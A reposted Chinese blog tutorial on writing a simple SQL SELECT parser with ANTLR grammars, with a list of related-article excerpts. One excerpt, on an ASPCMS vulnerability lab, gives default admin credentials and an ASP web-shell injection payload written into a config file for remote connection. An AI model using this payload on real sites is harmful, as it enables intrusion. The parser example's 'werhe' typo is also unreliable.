shardingsphere分库分表项目实践5-自己用java写一个sql解析器+完整项目源码

news2024/12/29 7:31:52

前1节我们介绍了 shardingsphere 分表分库的sql解析与重写:

shardingsphere分库分表项目实践4-sql解析&重写-CSDN博客

那么shardingsphere sql 解析底层究竟是怎么实现的呢,其实它直接用了著名的开源软件 antlr .

antlr 介绍:

ANTLR(ANother Tool for Language Recognition)是一个强大的解析器生成器,用于从语法描述中生成词法分析器、解析器、树分析器和代码生成器。它主要用于解析和处理编程语言、数据格式以及任何基于文本的输入。

  1. 跨平台支持:ANTLR 是用 Java 编写的,但它可以生成多种目标语言的解析器,例如 Java、C#、Python、JavaScript、Go、Swift、TypeScript 和 C++ 等。这使得它非常灵活,可以集成到各种编程项目中。

  2. 丰富的语法支持:ANTLR 支持 LL(*) 文法,这意味着它可以处理大量的上下文无关文法,包括一些复杂的语言特性。它提供了强大的语法定义能力,可以方便地定义词法和语法规则。

  3. 用户友好的语法定义:ANTLR 使用一种类似 EBNF的语法来定义语言规则,这使得语法定义直观且易于理解。

  4. 内置调试和测试工具:ANTLR 附带了一个可视化的语法调试工具,可以帮助用户调试和测试他们定义的语法,确保解析器的正确性。

  5. 强大的错误处理:ANTLR 提供了丰富的错误报告和恢复机制,能够在解析过程中提供详细的错误信息,并尝试从错误中恢复,继续解析剩余的输入。

antlr 在其他项目的应用:

antlr 非常成熟、稳定、强大,在其他大量项目中有使用:

Groovy
Jython
Hibernate
OpenJDK 编译器语法项目基于 ANTLR 语法编写的 javac 编译器的实验版本
Twitter 的搜索查询语言
Apache Cassandra
sqlparser 一个基于 ANTLR 的 SQL 解析器项目,用于解析和处理 SQL 语句

基于antlr 自己实现一个简单的sql解析器:

目标: 生成标准的 select 语句解析器,只需要支持单表查询, where  和  order by 就行了。

Lexer(词法分析器)

词法分析器 的主要任务是将输入的字符流转换成一系列的标记(tokens)。每个标记表示源代码中的基本元素,例如关键字、标识符、操作符和分隔符

输入:源代码的字符流。
输出:一系列的标记(tokens)。

lexer grammar SQLLexer;

@header {
    package com.example.parser;
}

// Tokens
SELECT: [Ss][Ee][Ll][Ee][Cc][Tt];
FROM: [Ff][Rr][Oo][Mm];
WHERE: [Ww][Hh][Ee][Rr][Ee];
ORDER: [Oo][Rr][Dd][Ee][Rr];
BY: [Bb][Yy];
DESC: [Dd][Ee][Ss][Cc];
AND: [Aa][Nn][Dd];
OR: [Oo][Rr];
EQUAL: '=';
STAR: '*';
COMMA: ',';
SEMICOLON: ';';
QUOTE: '\'';

// Identifiers and literals
ID: [a-zA-Z_][a-zA-Z_0-9]*;
INT: [0-9]+;
STRING: QUOTE (~[\r\n'] | '\'\'' )* QUOTE;

// Whitespace and comments
WS: [ \t\r\n]+ -> skip;

Parser(语法分析器)

语法分析器 的任务是根据词法分析器生成的标记序列,按照特定的语法规则,将这些标记组织成一个语法树(parse tree)。语法树表示了代码的结构和语法关系。

输入:词法分析器生成的标记序列。
输出:语法树(parse tree)或抽象语法树(AST)。

parser grammar SQLParser;

@header {
package com.example.parser;
}

options { tokenVocab=SQLLexer; }

// Entry rule
sql: select_stmt SEMICOLON? ;

// Select statement rule
select_stmt: SELECT select_list FROM table_name where_clause? order_clause? ;

// Select list rule
select_list: STAR | column_list ;

// Column list rule
column_list: column_name (COMMA column_name)* ;

// Table name rule
table_name: ID ;

// Where clause rule
where_clause: WHERE condition (AND condition | OR condition)* ;

// Order clause rule
order_clause: ORDER BY order_element (COMMA order_element)* ;

// Order element rule
order_element: column_name (DESC)? ;

// Condition rule
condition: column_name EQUAL value ;

// Column name rule
column_name: ID ;

// Value rule
value: STRING | INT ;

生成parser 并代码验证:

1. 用maven 的compile ,会自动生成 com.example.parser 目录的  SQLParser 相关代码。

2. 写一个main函数测试一下生成的parser是否能正常工作。 

antlr idea 插件:

安装antlr插件,词法、语法文件可以直接用插件辅助编辑和测试,提高效率。

直接打开SQLParser.g4 文件(已经完全写好了), ANTLR Preview 窗口可以输入sql验证语法:

正确的SQL :  

select  id,name  from  t_user werhe id=1  order by name desc  , 右边会解析成一棵树(AST) 

错误的SQL或者语法文件有错误,会显示解析错误 :

将 sql 里面的 select  错误地写成  sele ,则会报错。 

  

本测试项目完整工程源码git库:

https://gitcode.com/zfj321/blog_tutorials/tree/main/antlr  

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2267344.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

10分钟掌握项目管理核心工具:WBS、甘特图、关键路径法全解析

一、引言 在项目管理的广阔天地里,犹如一场精心编排的交响乐演奏,每个乐器、每个音符都需精准配合才能奏响美妙乐章。而 WBS(工作分解结构)、甘特图、关键路径法无疑是这场交响乐中的关键乐章,它们从不同维度为项目管…

【LLM】OpenAI 的DAY12汇总和o3介绍

note o3 体现出的编程和数学能力,不仅达到了 AGI 的门槛,甚至摸到了 ASI(超级人工智能)的边。 Day 1:o1完全版,开场即巅峰 12天发布会的开场即是“炸场级”更新——o1完全版。相比此前的预览版本&#x…

使用Kubernetes部署MySQL+WordPress

目录 前提条件 部署MySQL和WordPress 编写yaml文件 应用yaml文件 存在问题及解决方案 创建PV(持久化卷) 创建一个PVC(持久化卷声明) 部署添加PVC 查看PV对应的主机存储 删除资源 查看资源 删除deployment和service 查看主机数据 删除PVC和PV 删除主机数据 前提条…

RabbitMQ中的异步Confirm模式:提升消息可靠性的利器

在现代分布式系统中,消息队列(Message Queue)扮演着至关重要的角色,它能够解耦系统组件、提高系统的可扩展性和可靠性。RabbitMQ作为一款广泛使用的消息队列中间件,提供了多种机制来确保消息的可靠传递。其中&#xff…

sentinel限流+其他

quick-start | Sentinel sentinel 作用 限流 熔断降级 1,限制什么 QPS 并发线程数 2,限制什么 资源,什么资源 服务,方法,接口,或者一段代码 3,实现方式 配置规则 注解 其他 Java常见5种限流…

Ubuntu 中安装 RabbitMQ 教程

简介 RabbitMq作为一款消息队列产品,它由Erlang语言开发,实现AMQP(高级消息队列协议)的开源消息中间件。 应用场景 异步处理 场景说明:用户注册后,注册信息写入数据库,再发邮件、短信通知。 …

Spark生态圈

Spark 主要用于替代Hadoop中的 MapReduce 计算模型。存储依然可以使用 HDFS,但是中间结果可以存放在内存中;调度可以使用 Spark 内置的,也可以使用更成熟的调度系统 YARN 等。 Spark有完善的生态圈: Spark Core:实现了…

AT24C02学习笔记

看手册: AT24Cxx xx代表能写入xxK bit(xx K)/8 byte 内部写周期很关键,代表每一次页写或字节写结束后时间要大于5ms(延时5ms确保完成写周期),否则时序会出错。 页写:型不同号每一页可能写入不同大小的…

119.【C语言】数据结构之快速排序(调用库函数)

目录 1.C语言快速排序的库函数 1.使用qsort函数前先包含头文件 2.qsort的四个参数 3.qsort函数使用 对int类型的数据排序 运行结果 对char类型的数据排序 运行结果 对浮点型数据排序 运行结果 2.题外话:函数名的本质 1.C语言快速排序的库函数 cplusplus网的介绍 ht…

五模型对比!Transformer-GRU、Transformer、CNN-GRU、GRU、CNN五模型多变量时间序列预测

目录 预测效果基本介绍程序设计参考资料 预测效果 基本介绍 光伏功率预测!五模型对比!Transformer-GRU、Transformer、CNN-GRU、GRU、CNN五模型多变量时间序列预测(Matlab2023b 多输入单输出) 1.程序已经调试好,替换数据集后,仅运…

利用Dockerfile构建自定义镜像

当一个系统开发完成,需要将系统打包为一个镜像文件,让docker能够运行该镜像,成为一个可以被访问的容器。 上述操作可以通过自定义镜像的方式来实现,本文章基于VMware虚拟机中安装的Centos7操作系统来完成。前面的操作步骤&#x…

喜报 | 擎创科技入围上海市优秀信创解决方案

近日,由上海市经信委组织的“2024年上海市优秀信创解决方案”征集遴选活动圆满落幕,擎创科技凭借实践经验优秀的《擎创夏洛克智能预警与应急处置解决方案》成功入选“2024年上海市优秀信创解决方案”名单。 为激发创新活力,发挥标杆作用&…

基于aspose.words组件的word bytes转pdf bytes,去除水印和解决linux中文乱码问题

详情见 https://preferdoor.top/archives/ji-yu-aspose.wordszu-jian-de-word-byteszhuan-pdf-bytes

快速排序学习优化

首先&#xff0c;上图。 ‘’’ cpp int partSort(int *a ,int left,int right) {int keyi left; //做左侧基准while(left<right){while(left<right && a[right]>a[keyi]){right--;}while(left<right && a[left]<a[keyi]){left;}swap(a[left…

搭建vue项目

一、环境准备 1、安装node node官网&#xff1a;https://nodejs.org/zh-cn 1.1、打开官网&#xff0c;选择“下载”。 1.2、选择版本号&#xff0c;选择系统&#xff0c;根据需要自行选择&#xff0c;上面是命令安装方式&#xff0c;下载是下载安装包。 1.3、检查node安装…

华为管理变革之道:管理制度创新

目录 华为崛起两大因素&#xff1a;管理制度创新和组织文化。 管理是科学&#xff0c;150年来管理史上最伟大的创新是流程 为什么要变革&#xff1f; 向世界标杆学习&#xff0c;是变革第一方法论 体系之一&#xff1a;华为的DSTE战略管理体系&#xff08;解决&#xff1a…

ASP-CMS漏洞

打开aspcms靶场 账号&#xff1a;admin 密码&#xff1a;123456 去保存抓包 在slideTextStatus1后面写上%25><%25eval(request(chr(65)))%25><%25 我们在去访问这个文件config/AspCms_Config.asp再去蚁剑连接&#xff0c;连接成功

pyqt和pycharm环境搭建

安装 python安装&#xff1a; https://www.python.org/downloads/release/python-3913/ python3.9.13 64位(记得勾选Path环境变量) pycharm安装&#xff1a; https://www.jetbrains.com/pycharm/download/?sectionwindows community免费版 换源&#xff1a; pip config se…

微服务-1 认识微服务

目录​​​​​​​ 1 认识微服务 1.1 单体架构 1.2 微服务 1.3 SpringCloud 2 服务拆分原则 2.1 什么时候拆 2.2 怎么拆 2.3 服务调用 3. 服务注册与发现 3.1 注册中心原理 3.2 Nacos注册中心 3.3 服务注册 3.3.1 添加依赖 3.3.2 配置Nacos 3.3.3 启动服务实例 …

《HelloGitHub》第 105 期

兴趣是最好的老师&#xff0c;HelloGitHub 让你对编程感兴趣&#xff01; 简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。 github.com/521xueweihan/HelloGitHub 这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等&#xff0c;涵盖多种编程语言 Python、…